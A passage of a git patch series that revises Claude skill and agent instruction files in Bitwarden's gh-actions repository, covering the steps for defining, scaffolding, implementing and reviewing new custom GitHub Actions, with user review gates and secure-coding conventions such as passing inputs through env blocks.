"Gather requirements for a new GitHub Action through interactive questions and produce a SPEC.md specification file." +argument-hint: "[action-name]" +allowed-tools: + - Bash(ls:*) + - Bash(mkdir:*) + - Write + - Glob --- -# Define Action - Phase 1: Requirements Gathering +# Define Action - Requirements Gathering -You are gathering requirements for a new custom GitHub Action in the Bitwarden `gh-actions` repository. Your goal is to produce a complete, structured specification that downstream phases will use to scaffold, implement, and validate the action. +Gather requirements for a new custom GitHub Action in the Bitwarden `gh-actions` repository. The deliverable is a `SPEC.md` file in the new action's directory that downstream skills (scaffold-action, implement-action) consume. ## Context -This repository contains ~33 custom GitHub Actions used across Bitwarden's CI/CD pipelines. Actions come in three types: -- **Composite** (Shell/YAML): Most common (~25 actions). Single `action.yml` with shell steps. Best for wrapping other actions or simple bash logic. +This repository contains ~33 custom GitHub Actions. Actions come in three types: +- **Composite** (Shell/YAML): Most common. Single `action.yml` with shell steps. Best for wrapping other actions or simple bash logic. - **TypeScript/Node.js**: For complex logic needing npm packages. Uses `@actions/core`, compiled with `ncc`. Example: `get-keyvault-secrets/`. - **Docker/Python**: For isolated environments or Python-heavy logic. Multi-stage Dockerfile. Example: `version-bump/`. +## Input + +The skill accepts an optional action name as an argument. If provided, it pre-fills the name and skips the naming question. + +**Examples:** +- `define-action` -- start from scratch, ask all questions +- `define-action report-deploy-status` -- pre-fill name as `report-deploy-status` + ## Procedure -### Step 1: Determine Action Type +### Step 1: Validate Name (if provided) + +If an action name was provided as an argument: +1. Use `ls /Users/tyler/dev/gh-actions/` to verify the name does not conflict with an existing directory. +2. Validate the name is kebab-case (lowercase letters, numbers, hyphens only). +3. If the name conflicts or is invalid, report the issue and ask for a corrected name. -Use AskUserQuestion to ask the user what type of action they want to create. Provide guidance: -- **Composite**: Best for shell scripts, wrapping existing actions, simple orchestration. No build step needed. -- **TypeScript**: Best for complex logic, API integrations needing typed SDKs, or when `@actions/core` features are needed extensively. -- **Docker/Python**: Best for Python-based tools, complex file processing, or when isolation from the runner environment is important. +If no name was provided, proceed to Step 2. -### Step 2: Collect Core Identity +### Step 2: Collect Requirements -Ask the user for: -- **Action name**: Must be kebab-case (e.g., `check-permission`, `get-keyvault-secrets`). Validate format. -- **Description**: One-line description of what the action does (used in `action.yml` description field). +Gather all of the following in as few rounds as possible. Present the full list of questions upfront so the user can answer in one or two responses rather than six rounds of back-and-forth. + +**Core identity:** +- **Action name**: Must be kebab-case (e.g., `check-permission`, `get-keyvault-secrets`). Skip if already provided. +- **Action type**: Composite, TypeScript, or Docker/Python. Provide guidance: + - Composite: Best for shell scripts, wrapping existing actions, simple orchestration. No build step. + - TypeScript: Best for complex logic, API integrations needing typed SDKs, extensive `@actions/core` usage. + - Docker/Python: Best for Python-based tools, complex file processing, or runner isolation. +- **Description**: One-line description for the `action.yml` description field. - **Purpose**: Why does this action need to exist? What problem does it solve? Which Bitwarden repos will consume it? -### Step 3: Collect Inputs and Outputs +**Inputs and outputs:** +- **Inputs**: For each: name (underscore_case), description, required (true/false), default value, whether it contains sensitive data. +- **Outputs**: For each: name (underscore_case), description, whether it contains sensitive data. +- Remind the user: multi-word input/output names MUST use underscores (workflow linter requirement). Sensitive inputs should use `env:` blocks, not inline in `run:`. Sensitive outputs must be masked. -Ask the user to describe: -- **Inputs**: For each input, collect: name (underscore_case), description, required (true/false), default value (if any), whether it contains sensitive data. -- **Outputs**: For each output, collect: name (underscore_case), description, whether it contains sensitive data. +**Integrations:** +- Azure (login, Key Vault, other services)? +- GitHub API (which endpoints)? +- External services (Slack, Crowdin, Docker Hub)? +- Other Bitwarden actions in this repo? -Remind the user: -- Input/output names with multiple words MUST use underscores (enforced by workflow linter) -- Sensitive inputs should be passed via `env:` blocks, never inline in `run:` commands -- Sensitive outputs must be masked with `core.setSecret()` or equivalent +**Behavior:** +- Error handling strategy (fail fast, skip, degrade)? +- Idempotent (safe to re-run)? +- Platform requirements (Ubuntu only, or also macOS/Windows)? +- Required GitHub token permissions? -### Step 4: Collect Integration Details +### Step 3: Confirm and Validate -Ask about: -- **Azure integration**: Does the action need Azure login, Key Vault access, or other Azure services? -- **GitHub API**: Does the action call GitHub APIs? Which endpoints? -- **External services**: Slack, Crowdin, Docker Hub, etc.? -- **Other Bitwarden actions**: Does it depend on or compose with other actions in this repo? +1. Use `ls /Users/tyler/dev/gh-actions/` to verify the action name does not conflict with an existing directory. +2. Use `Glob` with pattern `*/action.yml` to list existing actions for reference. +3. Summarize all collected requirements back to the user in a structured format. Ask the user to confirm or correct before writing. -### Step 5: Collect Behavioral Details +### Step 4: Write SPEC.md -Ask about: -- **Error handling**: How should failures be handled? Fail fast, skip, continue with degraded output? -- **Idempotency**: Can the action be safely re-run? -- **Platform requirements**: Ubuntu only, or also macOS/Windows runners? -- **Permissions needed**: What GitHub token permissions does the action require? +1. Run `mkdir -p /Users/tyler/dev/gh-actions/{action-name}` to create the action directory. +2. Write `SPEC.md` to `/Users/tyler/dev/gh-actions/{action-name}/SPEC.md` using the template below. -### Step 6: Produce SPEC.md +## Output Format -Create the action directory and write `{action-name}/SPEC.md` with this structure: +The `SPEC.md` file must follow this exact structure: ```markdown # {Action Name} - Specification @@ -74,12 +97,12 @@ Create the action directory and write `{action-name}/SPEC.md` with this structur ## Inputs | Name | Description | Required | Default | Sensitive | |------|-------------|----------|---------|-----------| -| ... | ... | ... | ... | ... | +| {name} | {description} | {yes/no} | {value or N/A} | {yes/no} | ## Outputs | Name | Description | Sensitive | |------|-------------|-----------| -| ... | ... | ... | +| {name} | {description} | {yes/no} | ## Integrations - **Azure**: {details or "None"} @@ -94,13 +117,21 @@ Create the action directory and write `{action-name}/SPEC.md` with this structur - **Permissions**: {required GitHub token permissions} ## Implementation Notes -{Any additional context from the user about expected behavior, edge cases, etc.} +{Any additional context about expected behavior, edge cases, etc.} ``` -## Important Rules +**Zero-inputs case:** If the action has no inputs, write the Inputs table with a single row: `| N/A | No inputs required | N/A | N/A | N/A |`. Same pattern for Outputs. + +## Important Notes -- Do NOT proceed to scaffolding. Your only job is to produce SPEC.md. -- Do NOT make assumptions about inputs/outputs. Ask the user explicitly. -- Validate that the action name doesn't conflict with existing directories in the repo. Check with `ls` first. -- If the user is vague about inputs/outputs, propose reasonable defaults based on similar actions in the repo, but confirm with the user. +- This skill ONLY produces SPEC.md. It does not scaffold files or write implementation code. +- Do not make assumptions about inputs/outputs. Ask the user explicitly. If the user is vague, propose reasonable defaults based on similar actions in the repo, but confirm before writing. - Always use underscore_case for input/output names (Bitwarden workflow linter requirement). +- Never include example secrets, credentials, or real Key Vault names in the SPEC.md. +- If the user abandons the process before all requirements are collected, do not write SPEC.md. Inform the user that the specification is incomplete. + +## Related Skills + +After producing SPEC.md, recommend the user run: +- `scaffold-action {action-name}` to generate boilerplate files from the specification. +- Then `implement-action {action-name}` to write the working implementation. From f73531e246ed455fb258254864fff24ff164fe00 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Fri, 27 Mar 2026 15:52:29 -0400 Subject: [PATCH 03/31] validate scaffold-action --- .claude/skills/scaffold-action.md | 90 +++++++++++++++++++++++-------- 1 file changed, 69 insertions(+), 21 deletions(-) diff --git a/.claude/skills/scaffold-action.md b/.claude/skills/scaffold-action.md index 1c813b986..761048c86 100644 --- a/.claude/skills/scaffold-action.md +++ b/.claude/skills/scaffold-action.md @@ -1,38 +1,61 @@ --- name: scaffold-action -description: "Phase 2: Generate boilerplate directory structure, action.yml, README.md, test workflow, and type-specific files based on SPEC.md." +description: "Generate boilerplate directory structure, action.yml, README.md, test workflow, and type-specific files for a new GitHub Action from its SPEC.md." +argument-hint: "" +allowed-tools: + - Read + - Write + - Glob + - Bash(ls:*) + - Bash(mkdir:*) --- -# Scaffold Action - Phase 2: Boilerplate Generation +# Scaffold Action - Boilerplate Generation -You are generating the boilerplate file structure for a new GitHub Action in the Bitwarden `gh-actions` repository. You will read the SPEC.md produced by Phase 1 and create all skeleton files. +Generate the complete file structure for a new GitHub Action in the Bitwarden `gh-actions` repository. Read the SPEC.md produced by the define-action skill and create all skeleton files with TODO placeholders -- no implementation logic. + +## Input + +This skill accepts a single required argument: the action directory name (e.g., `my-new-action`). + +The action directory must already contain a `SPEC.md` file produced by the `define-action` skill. + +**Examples:** +- `scaffold-action my-new-action` +- `scaffold-action report-deployment-status-to-slack` ## Procedure -### Step 1: Read the Specification +### Step 1: Validate Prerequisites -Read `{action-name}/SPEC.md` to understand the action's type, inputs, outputs, and integrations. +1. Confirm `{action-name}/SPEC.md` exists using `ls`. +2. If SPEC.md does not exist, stop and report: "No SPEC.md found in {action-name}/. Run the define-action skill first to generate a specification." +3. Read `{action-name}/SPEC.md` to understand the action's type, inputs, outputs, and integrations. ### Step 2: Read Reference Files -Read the appropriate reference files from the repository to ensure generated code matches current conventions: +Read the appropriate reference files from the repository to ensure generated code matches current conventions. **For ALL action types, read:** -- `check-permission/action.yml` — reference for action.yml structure, input validation, output setting -- `.github/workflows/test-check-permission.yml` — reference for test workflow structure +- `check-permission/action.yml` -- reference for action.yml structure, input validation, output setting +- `.github/workflows/test-check-permission.yml` -- reference for test workflow structure **For TypeScript actions, also read:** -- `get-keyvault-secrets/action.yml` — node24 action.yml pattern -- `get-keyvault-secrets/package.json` — dependency and build script pattern -- `get-keyvault-secrets/tsconfig.json` — TypeScript configuration -- `get-keyvault-secrets/src/main.ts` — implementation skeleton pattern +- `get-keyvault-secrets/action.yml` -- node24 action.yml pattern +- `get-keyvault-secrets/package.json` -- dependency and build script pattern +- `get-keyvault-secrets/tsconfig.json` -- TypeScript configuration +- `get-keyvault-secrets/src/main.ts` -- implementation skeleton pattern **For Docker actions, also read:** -- `version-bump/action.yml` — Docker action.yml pattern -- `version-bump/Dockerfile` — multi-stage build pattern -- `version-bump/main.py` — Python entry point pattern +- `version-bump/action.yml` -- Docker action.yml pattern +- `version-bump/Dockerfile` -- multi-stage build pattern +- `version-bump/main.py` -- Python entry point pattern -### Step 3: Generate action.yml +### Step 3: Create Directory + +Run `mkdir -p {action-name}` to ensure the action directory exists (it should already exist from define-action, but ensure it). + +### Step 4: Generate action.yml Create `{action-name}/action.yml` with: @@ -60,7 +83,7 @@ runs: **Docker**: `using: "docker"`, `image: "Dockerfile"` -### Step 4: Generate Type-Specific Files +### Step 5: Generate Type-Specific Files **For TypeScript actions:** @@ -178,7 +201,7 @@ if __name__ == "__main__": main() ``` -### Step 5: Generate Test Workflow +### Step 6: Generate Test Workflow Create `.github/workflows/test-{action-name}.yml` following the exact pattern from the reference: @@ -218,9 +241,9 @@ jobs: echo "TODO: Verify action outputs" ``` -**Important**: Use the exact checkout action SHA and version comment from the reference file. Check the current pinned version in an existing test workflow. +**Important**: Use the exact checkout action SHA and version comment from the reference file. Read an existing test workflow to get the currently pinned version. -### Step 6: Generate README.md +### Step 7: Generate README.md Create `{action-name}/README.md`: @@ -252,11 +275,36 @@ Create `{action-name}/README.md`: | ... | ... | ``` +### Step 8: Report Results + +List all files created with their paths. Example: + +``` +Scaffolded files for {action-name}: + - {action-name}/action.yml + - {action-name}/src/main.ts + - {action-name}/package.json + - {action-name}/tsconfig.json + - {action-name}/.gitignore + - {action-name}/README.md + - .github/workflows/test-{action-name}.yml + +Next step: Run the implement-action skill to replace TODO placeholders with working code: + implement-action {action-name} +``` + ## Important Rules - Do NOT implement any logic. Only generate skeletons with TODO comments. - Always read the reference files first to match current conventions exactly. - For the test workflow, use the exact pinned SHA for `actions/checkout` from an existing test workflow. -- All input references in composite `run:` blocks MUST go through `env:` — never use `${{ inputs.* }}` directly in shell commands. +- All input references in composite `run:` blocks MUST go through `env:` -- never use `${{ inputs.* }}` directly in shell commands. - Output names must use underscores, not hyphens. - Runner must be pinned to `ubuntu-24.04` (not `ubuntu-latest`). +- This skill only creates files. It never runs `npm install`, `npm run build`, or any build commands. + +## Related Skills + +- **define-action**: Run first to produce the SPEC.md this skill consumes. Example: `define-action {action-name}` +- **implement-action**: Run after scaffolding to replace TODO placeholders with working code. Example: `implement-action {action-name}` +- **validate-action**: Run after implementation to check formatting, structure, and linter compliance. Example: `validate-action {action-name}` From a9f52e17ff577df12cfcce5920065987af090f0b Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Fri, 27 Mar 2026 16:25:39 -0400 Subject: [PATCH 04/31] action-generator agent add review gate --- .claude/agents/action-generator.md | 79 ++++++++++++++++++++++++++---- 1 file changed, 69 insertions(+), 10 deletions(-) diff --git a/.claude/agents/action-generator.md b/.claude/agents/action-generator.md index a5341df85..9c5d9483b 100644 --- a/.claude/agents/action-generator.md +++ b/.claude/agents/action-generator.md @@ -20,9 +20,33 @@ You are the orchestrating agent for creating new custom GitHub Actions in the Bi - You do NOT implement any phase yourself. You delegate to the appropriate skill. - You manage the flow between phases, passing context and handling failures. +- You own all review gates — presenting artifacts to the user for approval before proceeding. - You communicate progress to the user between phases. - You make judgment calls about whether to proceed, loop back, or ask the user. +## Review Gates + +Review gates are flow control checkpoints where you present an artifact to the user and collect approval before proceeding. Gates are your responsibility as the orchestrator — no skill handles them. + +**Gate protocol:** + +1. Read the artifact (e.g., SPEC.md, evaluation findings). +2. Present a structured summary to the user — not a raw file dump. Organize by decision areas so the user can scan quickly. +3. Ask the user to **approve**, **request changes**, or **add notes**. +4. If changes requested: apply edits directly using the Edit tool, then re-present for confirmation. +5. If approved: proceed to the next phase. +6. If the user adds notes: append them to the appropriate section and proceed. + +**When to gate:** +- **After Phase 1 (Define)**: Always. The SPEC.md is the contract for everything downstream. Present inputs, outputs, integrations, and behavior for approval. +- **After Phase 4 (Evaluate)**: Only if findings require a design decision (e.g., "this input is never used — remove it or is it needed?"). Auto-fixed issues do not need a gate. +- **After Phase 6 (Secure)**: Only if Critical or High findings could not be auto-fixed and require user guidance. + +**When NOT to gate:** +- After scaffold (Phase 2) — boilerplate generation is deterministic from the approved spec. +- After implement (Phase 3) — evaluate and validate will catch issues. +- After validate (Phase 5) — formatting/linter fixes are mechanical. + ## Phase Execution Protocol Execute phases in order. After each phase, verify the phase completed successfully before moving on. @@ -31,13 +55,33 @@ Execute phases in order. After each phase, verify the phase completed successful Invoke the `define-action` skill. -**Before proceeding**: Verify `{action-name}/SPEC.md` exists and contains all required sections (Overview, Inputs, Outputs, Integrations, Behavior). If incomplete, re-invoke the skill with guidance on what's missing. +**Verification**: Confirm `{action-name}/SPEC.md` exists and contains all required sections (Overview, Inputs, Outputs, Integrations, Behavior). If incomplete, re-invoke the skill with guidance on what's missing. + +**Review Gate**: Read SPEC.md and present a summary to the user organized as: + +``` +Action: {name} ({type}) +Description: {description} + +Inputs ({count}): + - {name} ({required/optional}{, sensitive if applicable}) — {description} + {default: value, if any} + +Outputs ({count}): + - {name}{, sensitive if applicable} — {description} + +Integrations: {list or "None"} +Error handling: {strategy} +Permissions: {required permissions} +``` + +Ask the user to approve or request changes. Apply any edits to SPEC.md before proceeding. ### Phase 2: Scaffold Invoke the `scaffold-action` skill. -**Before proceeding**: Verify the expected files exist: +**Verification**: Confirm the expected files exist: - `{action-name}/action.yml` - `{action-name}/README.md` - `.github/workflows/test-{action-name}.yml` @@ -51,7 +95,7 @@ If any expected file is missing, re-invoke the skill. Invoke the `implement-action` skill. -**Before proceeding**: Verify: +**Verification**: Confirm: - Implementation files have no remaining TODO placeholders (except in test workflow which may have limited TODOs) - For TypeScript: `dist/index.js` exists after build - The implementation reads all declared inputs and sets all declared outputs @@ -60,24 +104,38 @@ Invoke the `implement-action` skill. Invoke the `evaluate-action` skill. -**Before proceeding**: Check the evaluation results appended to SPEC.md. If any Critical or High issues were flagged but not fixed, loop back to Phase 3 (Implement) with the specific issues to address. Maximum 2 loops before escalating to the user. +**Verification**: Check the evaluation results appended to SPEC.md. + +**Conditional Review Gate**: If any findings require a design decision (not just a code fix), present them to the user: + +``` +Evaluation found {count} issue(s) requiring your input: + +1. [{severity}] {description} + Proposed resolution: {what the evaluate skill suggested} + → Approve / Change approach? +``` + +If all findings were auto-fixed, report the fixes and proceed without gating. + +If Critical or High issues were flagged but not fixed, loop back to Phase 3 (Implement) with the specific issues to address. Maximum 2 loops before escalating to the user. ### Phase 5: Validate Invoke the `validate-action` skill. -**Before proceeding**: Check the validation results. If Prettier or linter issues remain unfixed, re-invoke the skill once. If issues persist, flag to the user. +**Verification**: Check the validation results. If Prettier or linter issues remain unfixed, re-invoke the skill once. If issues persist, flag to the user. ### Phase 6: Secure Invoke the `secure-action` skill. -**After completion**: This skill will also convert SPEC.md to CLAUDE.md. Verify: +**Verification**: This skill will also convert SPEC.md to CLAUDE.md. Confirm: - `{action-name}/CLAUDE.md` exists - `{action-name}/SPEC.md` has been removed - Security assessment passed (no unresolved Critical/High findings) -If Critical security issues are found that cannot be auto-fixed, report them to the user and ask for guidance. +**Conditional Review Gate**: If Critical or High security findings could not be auto-fixed, present them to the user with the risk and ask for guidance before finalizing. Do not proceed with unresolved Critical findings. ## Phase Transition Communication @@ -86,7 +144,7 @@ Between each phase, briefly tell the user: 2. What phase is starting next 3. Any issues found and how they were resolved -Keep updates concise — one or two sentences per transition. +Keep updates concise — one or two sentences per transition. Do not repeat information already shown in a review gate. ## Error Handling @@ -100,5 +158,6 @@ After all 6 phases complete successfully, provide a summary: 1. Action name and type 2. Files created (list all) 3. Key implementation details -4. Any recommendations for manual follow-up (e.g., "add secrets to test repo", "submit for action approval") -5. Remind the user to run the test workflow after merging +4. Security assessment result +5. Any recommendations for manual follow-up (e.g., "add secrets to test repo", "submit for action approval") +6. Remind the user to run the test workflow after merging From 6357bde1f8a6290b4dc30c7f2d4323d5ade4303d Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Fri, 27 Mar 2026 16:26:35 -0400 Subject: [PATCH 05/31] validate implement-action --- .claude/skills/implement-action.md | 224 +++++++++++++++++++---------- 1 file changed, 150 insertions(+), 74 deletions(-) diff --git a/.claude/skills/implement-action.md b/.claude/skills/implement-action.md index 80b83d527..b0d5140a9 100644 --- a/.claude/skills/implement-action.md +++ b/.claude/skills/implement-action.md @@ -1,90 +1,166 @@ --- name: implement-action -description: "Phase 3: Implement the core logic of a GitHub Action based on SPEC.md and scaffolded files. Writes working code, not skeletons." +description: "Replace TODO placeholders in a scaffolded GitHub Action with working implementation code, input validation, error handling, and test scenarios." +argument-hint: "" +allowed-tools: + - Read + - Edit + - Write + - Glob + - Grep + - Bash(ls:*) + - Bash(cd * && npm install) + - Bash(cd * && npm run build) --- -# Implement Action - Phase 3: Core Logic Development +# Implement Action - Core Logic Development -You are implementing the core logic for a new GitHub Action in the Bitwarden `gh-actions` repository. The action has already been defined (Phase 1) and scaffolded (Phase 2). Your job is to replace TODO placeholders with working code. +Replace TODO placeholders in a scaffolded GitHub Action with working code. The action must already have a `SPEC.md` (from define-action) and scaffolded skeleton files (from scaffold-action). The deliverable is a fully functional action with no remaining TODOs. + +## Input + +This skill accepts a single required argument: the action directory name. + +The directory must already contain `SPEC.md` and scaffolded files with TODO placeholders. + +**Examples:** +- `implement-action report-deployment-status-to-slack` +- `implement-action check-permission` ## Procedure -### Step 1: Understand Requirements - -1. Read `{action-name}/SPEC.md` for the full requirements specification -2. Read all scaffolded files in the `{action-name}/` directory -3. Identify similar existing actions in the repo that solve related problems — read their implementations for patterns - -### Step 2: Implement Core Logic - -**For Composite actions** — edit `{action-name}/action.yml`: -1. Replace placeholder steps with real implementation -2. Use `env:` blocks to pass all inputs to shell scripts (never inline `${{ inputs.* }}` in `run:`) -3. Use `set -e` at the top of bash scripts -4. Write outputs to `$GITHUB_OUTPUT` using `echo "name=value" >> "$GITHUB_OUTPUT"` -5. Use `::error::`, `::warning::`, `::notice::` annotations for user-facing messages -6. Validate all required inputs at the start of the script -7. Reference pattern: read `check-permission/action.yml` for input validation and output setting - -**For TypeScript actions** — edit `{action-name}/src/main.ts`: -1. Import `@actions/core` and any needed packages -2. Read inputs with `core.getInput('name', { required: true/false })` -3. Mask sensitive values with `core.setSecret(value)` -4. Set outputs with `core.setOutput('name', value)` -5. Wrap everything in try/catch with `core.setFailed()` in the catch block -6. Reference pattern: read `get-keyvault-secrets/src/main.ts` - -**For Docker/Python actions** — edit `{action-name}/main.py`: -1. Read inputs from environment: `os.getenv("INPUT_NAME")` (GitHub uppercases and prefixes with `INPUT_`) -2. Write outputs: append to `os.getenv("GITHUB_OUTPUT")` file -3. Exit with non-zero status on failure: `sys.exit(1)` -4. Reference pattern: read `version-bump/main.py` - -### Step 3: Implement Input Validation - -For every action type, validate inputs at the entry point: -- Check required inputs are non-empty -- Validate format constraints (e.g., regex for version strings, allowed enum values) -- Provide clear error messages indicating what was wrong and what's expected -- For composite actions, use pattern from `check-permission/action.yml`: - ```bash - if [[ ! "$INPUT" =~ ^(allowed|values)$ ]]; then - echo "::error::Invalid input; must be 'allowed' or 'values'" - exit 1 - fi - ``` - -### Step 4: Implement Error Handling - -- Handle all expected failure modes described in SPEC.md -- Provide actionable error messages (not just "failed" — explain what went wrong and how to fix) -- For API calls, handle network errors, auth failures, and unexpected responses -- For file operations, handle missing files and permission errors - -### Step 5: Update Test Workflow - -Edit `.github/workflows/test-{action-name}.yml`: -1. Replace TODO comments with actual test scenarios -2. Provide realistic test inputs -3. Add output verification steps that check expected values -4. Add multiple test jobs if the action has different modes or configurations -5. Follow the multi-job pattern from `test-check-permission.yml` for actions with multiple modes - -### Step 6: Build (TypeScript only) - -For TypeScript actions: -1. Run `cd {action-name} && npm install` -2. Run `npm run build` -3. Verify `dist/index.js` was created -4. These files must be committed alongside the source +### Step 1: Validate Prerequisites + +1. Run `ls /Users/tyler/dev/gh-actions/{action-name}/` to confirm the directory exists. +2. If the directory does not exist, stop and report: "Directory {action-name}/ not found. Run define-action and scaffold-action first." +3. Read `{action-name}/SPEC.md` for the full requirements specification. +4. If SPEC.md does not exist, stop and report: "No SPEC.md found in {action-name}/. Run define-action first." +5. Read all scaffolded files in the `{action-name}/` directory to understand what was generated. +6. If scaffolded files contain no TODO placeholders, stop and report: "Scaffolded files appear to already be implemented. Run evaluate-action to review completeness instead." + +### Step 2: Read Reference Implementations + +Use `Glob` with pattern `*/action.yml` to list existing actions. Identify 1-2 similar actions based on the SPEC.md requirements (same type, similar integrations). Read their implementation files to learn current patterns. + +**Minimum required references by type:** + +- **Composite**: Read `check-permission/action.yml` for input validation, env block usage, and output setting. +- **TypeScript**: Read `get-keyvault-secrets/src/main.ts` for input reading, secret masking, error handling, and output setting. +- **Docker/Python**: Read `version-bump/main.py` for environment variable input reading, output writing, and error handling. + +### Step 3: Implement Core Logic + +**For Composite actions** -- edit `{action-name}/action.yml`: +1. Replace placeholder steps with real implementation. +2. Use `env:` blocks to pass all inputs to shell scripts (never inline `${{ inputs.* }}` in `run:` -- this is a command injection vector). +3. Use `set -e` at the top of every bash `run:` block. +4. Write outputs using `echo "name=value" >> "$GITHUB_OUTPUT"`. +5. Use `::error::`, `::warning::`, `::notice::` annotations for user-facing messages. +6. Always quote shell variables: `"$VAR"` not `$VAR`. + +**For TypeScript actions** -- edit `{action-name}/src/main.ts`: +1. Import `@actions/core` and any packages needed per SPEC.md integrations. +2. Read inputs with `core.getInput('name', { required: true/false })`. +3. Mask sensitive values with `core.setSecret(value)` before any logging. +4. Set outputs with `core.setOutput('name', value)`. +5. Wrap the entire `run()` body in try/catch with `core.setFailed()` in the catch block. + +**For Docker/Python actions** -- edit `{action-name}/main.py`: +1. Read inputs from environment: `os.getenv("INPUT_NAME")` (GitHub uppercases and prefixes with `INPUT_`). +2. Write outputs by appending to the file at `os.getenv("GITHUB_OUTPUT")`. +3. Exit with non-zero status on failure: `sys.exit(1)`. +4. Use `subprocess.run()` with argument lists, never `shell=True` with untrusted input. + +### Step 4: Implement Input Validation + +At the entry point of every action, validate all inputs before any business logic runs: +- Check required inputs are non-empty. +- Validate format constraints (e.g., regex for version strings, allowed enum values). +- Validate file path inputs against directory traversal (`../`, absolute paths where relative expected). +- Provide clear error messages: what was wrong, what format is expected. + +**Composite pattern** (from `check-permission/action.yml`): +```bash +if [[ -z "$INPUT_NAME" ]]; then + echo "::error::Input 'input_name' is required but was empty." + exit 1 +fi +if [[ ! "$INPUT_VALUE" =~ ^(allowed|values)$ ]]; then + echo "::error::Input 'input_value' must be 'allowed' or 'values', got '$INPUT_VALUE'" + exit 1 +fi +``` + +**TypeScript pattern**: Validate after `core.getInput()`, throw descriptive errors. + +**Python pattern**: Validate after `os.getenv()`, call `sys.exit(1)` with a printed error. + +### Step 5: Implement Error Handling + +- Handle all expected failure modes described in SPEC.md. +- For API calls: handle network errors, auth failures, rate limits, and unexpected response shapes. +- For file operations: handle missing files, permission errors, and malformed content. +- Provide actionable error messages (not just "failed" -- explain what went wrong and suggest a fix). +- Never expose sensitive data in error messages (tokens, secrets, internal URLs). + +### Step 6: Update Test Workflow + +Read `.github/workflows/test-{action-name}.yml`, then edit it: +1. Replace TODO comments with actual test scenarios from SPEC.md. +2. Provide realistic test inputs (not "test" or "foo"). +3. Add output verification steps that assert expected values using `env:` blocks. +4. Add multiple test jobs if the action has distinct modes or configurations. +5. Ensure each test job has a descriptive, capitalized name (workflow linter requirement). +6. Reference the multi-job pattern from `.github/workflows/test-check-permission.yml` if needed. + +### Step 7: Build (TypeScript Only) + +For TypeScript actions only: +1. Run `cd {action-name} && npm install` to install dependencies. +2. Run `cd {action-name} && npm run build` to compile. +3. Verify `dist/index.js` was created with `ls {action-name}/dist/index.js`. +4. The compiled `dist/` files must be committed alongside the source. + +Skip this step for Composite and Docker actions. + +### Step 8: Report Results + +List all files modified and summarize what was implemented: + +``` +Implementation complete for {action-name}: + +Modified files: + - {action-name}/action.yml -- core logic, input validation, output setting + - {action-name}/src/main.ts -- (TypeScript only) full implementation + - {action-name}/main.py -- (Docker only) full implementation + - .github/workflows/test-{action-name}.yml -- test scenarios and assertions + +Remaining TODOs: {count, should be 0} + +Next step: Run evaluate-action to review completeness: + evaluate-action {action-name} +``` + +If any TODOs remain that could not be resolved (e.g., require external credentials or infrastructure not available locally), list them explicitly with the reason. ## Important Rules - Write real, working code. No stubs, no TODOs, no placeholder comments in the final output. -- Follow the existing code style in the repository (Prettier will enforce formatting). +- Do NOT add features beyond what SPEC.md describes. Implement exactly the specification. - Do NOT add unnecessary dependencies. Use the standard library where possible. -- Do NOT add features beyond what SPEC.md describes. +- Follow the existing code style in the repository (Prettier will enforce formatting on commit). +- Pass inputs through `env:` blocks in composite actions -- never inline `${{ inputs.* }}` in `run:` commands. - For bash: always quote variables, use `set -e`, prefer `[[ ]]` over `[ ]`. - For TypeScript: use strict types, handle undefined/null explicitly. - For Python: use type hints where helpful, handle exceptions explicitly. -- Pass inputs through environment variables in composite actions, never inline in shell. +- Never log, echo, or print sensitive values. Mask them before any output. +- Output names must use underscores, not hyphens (workflow linter requirement). + +## Related Skills + +- **define-action**: Produces the SPEC.md this skill consumes. Run it first if no SPEC.md exists. Example: `define-action {action-name}` +- **scaffold-action**: Generates the skeleton files this skill fills in. Run it after define-action. Example: `scaffold-action {action-name}` +- **evaluate-action**: Reviews completeness of the implementation. Run after this skill. Example: `evaluate-action {action-name}` +- **validate-action**: Checks formatting, structure, and linter compliance. Example: `validate-action {action-name}` +- **secure-action**: Security assessment and final quality gate. Example: `secure-action {action-name}` From e58d977e343792bdfeb2685cb639c6e997f32d66 Mon Sep 17 00:00:00 2001 From: fntyler <71953103+fntyler@users.noreply.github.com> Date: Fri, 27 Mar 2026 16:30:19 -0400 Subject: [PATCH 06/31] validate evaluate-action --- .claude/skills/evaluate-action.md | 212 ++++++++++++++++++++++-------- 1 file changed, 158 insertions(+), 54 deletions(-) diff --git a/.claude/skills/evaluate-action.md b/.claude/skills/evaluate-action.md index 686c2d4b1..63f95f3ee 100644 --- a/.claude/skills/evaluate-action.md +++ b/.claude/skills/evaluate-action.md @@ -1,85 +1,189 @@ --- name: evaluate-action -description: "Phase 4: Review completeness of a GitHub Action implementation. Checks inputs/outputs coverage, error handling, edge cases, and test scenarios." +description: "Review a GitHub Action implementation for completeness. Audits input/output coverage, error handling, edge cases, and test scenarios against its SPEC.md." +argument-hint: "" +allowed-tools: + - Read + - Edit + - Write + - Glob + - Grep + - Bash(ls:*) --- -# Evaluate Action - Phase 4: Completeness Review +# Evaluate Action - Completeness Review -You are evaluating a newly implemented GitHub Action in the Bitwarden `gh-actions` repository for completeness and correctness. The action has been defined, scaffolded, and implemented. Your job is to find gaps and fix them. +Review a fully implemented GitHub Action in the Bitwarden `gh-actions` repository for completeness and correctness. The action must have been defined (SPEC.md), scaffolded, and implemented. The deliverable is a findings report appended to SPEC.md, with Critical and High issues fixed directly. -## Procedure +## Input + +This skill accepts a single required argument: the action directory name. -### Step 1: Read All Files +The directory must contain `SPEC.md`, `action.yml`, implementation files, and a test workflow. -1. Read `{action-name}/SPEC.md` for requirements -2. Read `{action-name}/action.yml` for declared inputs/outputs -3. Read the implementation file(s): - - Composite: the `run:` blocks in `action.yml` - - TypeScript: `{action-name}/src/main.ts` - - Docker: `{action-name}/main.py` -4. Read `.github/workflows/test-{action-name}.yml` +**Examples:** +- `evaluate-action report-deployment-status-to-slack` +- `evaluate-action check-permission` + +## Procedure + +### Step 1: Validate Prerequisites + +1. Run `ls /Users/tyler/dev/gh-actions/{action-name}/` to confirm the directory exists. +2. If the directory does not exist, stop and report: "Directory {action-name}/ not found. Run define-action and scaffold-action first." +3. Read `{action-name}/SPEC.md` for the full requirements specification. +4. If SPEC.md does not exist, stop and report: "No SPEC.md found in {action-name}/. Run define-action first." +5. Read `{action-name}/action.yml` for declared inputs and outputs. +6. If action.yml does not exist, stop and report: "No action.yml found in {action-name}/. Run scaffold-action first." +7. 